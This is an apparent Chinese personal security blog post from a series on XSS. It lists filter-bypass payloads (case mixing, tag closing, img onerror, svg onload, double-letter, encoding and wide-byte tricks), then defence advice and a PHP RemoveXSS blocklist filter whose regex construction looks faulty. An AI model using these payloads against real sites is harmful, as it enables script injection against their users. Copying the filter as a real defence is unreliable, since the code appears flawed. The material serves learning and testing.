我与XSS的感情之路(3)

心得

接着上一文过来,这一部分是个人的一些总结。对于挖掘xss漏洞,目的都是让自己的payload可以执行,在其探索的过程中,我个人首先会通过审查元素,了解其输入点,过滤规则,然后再针对性的进行payload的构造。首先,输入框、flash、css、上传点、http头部的字段、第三方插件、能主动修改其参数值的任意参数等等,存在输入的地方都有可能存在xss。明确好目标后,我习惯先输入一堆测试字符看看其过滤规则:
'';!--"<XSS>=&{()}/'script、on、alert、prompt、confirm、<script src="http://x.js"> %c0u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0u003e……
一般都能判断出如何过滤的,就像之前做题的过程中,都是经过测试才有结果,才能对症下药。

然后对于过滤规则,我总结了这样几点:

1、大小写:

<ScRIpT>alert('123')</sCRIpT>

2、编码绕过:

1
2
3
4
5
6
7
8
.十六进制编码
.jsfuck编码
.url编码
.unicode编码
.加解密
.HTML编码
.hex编码
.ASCII编码

3、绕过magic_quotes_gpc:

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

4、闭合标签

"><script>alert(/123/)</script>
</script><script>alert(1)</script>

5、标签绕过

1
2
3
4
5
<img src="x" onerror="alert(1)">
<button onclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 onerror=alert(1)//">
"onsubmit=javascript:alert(1)%20name="a
<svg/onload=prompt(1)>等等

6、其他符号绕过

%0a alert(1); %0a 换行符 %0d
/**/ 替换空格

%00 |截断

另外在某些情况下,当”被过滤,可以在IE内核下使用两个反引号(`)TAB键上面的那个代替双引号.

7、双字母绕过 <img ononerrorerror="123">、<script>alalertert(123)</script>
8、宽字节绕过

gbxxxx系列的编码,那么我们尝试一下宽字节 %c0 %bf %5c

9、其他事件绕过

(比如过滤了<>使用 "onmouseover=alert(11) bad=

1
2
3
4
5
6
  onload
  onclick
  onerror
  prompt
  confirm
  onmousemove

附录1:

type Horizontal Tab New line Carriage Return
URL %09 %10 %13

空字符 (%00) 使得过滤器不能看到完整的 <script>标签. 只在 IE 6.0, IE 7.0 可以。

附录2:

blank %20
/ %2F
—— ——
? %3F
—— ——
+ %2B

防御:

对于采用过滤、转义来防御xss漏洞最基本的方式,具体实现,必须基于代码,而对应的防御招式已经许多前辈们都有分享。我觉得做好编码、过滤的工作之后,下面两个措施也是有必要实施的。
1:为Cookie加上HttpOnly标记。保护好cookie,就算各种过滤都被绕过,也无法读取、修改cookie,能有效的减轻危害。
2:部署waf是一件很有效的工作。一个具有丰富规则库的waf能大幅度过滤掉恶意输入数据,个人感觉主要是能增加突破防御的难度,不仅仅针对于xss漏洞,其他的漏洞也是一样。能有效降低其风险。
下面是一个php的xss过滤器:(学习于网上,将该代码加入到核心函数库,然后再调用即可)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php  
function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);

// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}

// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);

$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&#0{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
?>

参考链接:
http://www.freebuf.com/sectool/108568.html
https://www.secpulse.com/archives/44299.html
https://www.waitalone.cn/the-seven-principles-of-xss-defense.html

-------------本文结束感谢您的阅读-------------
  • Post author: SuNu11
  • Post link: http://sunu11.com/2017/08/28/14/
  • Copyright Notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.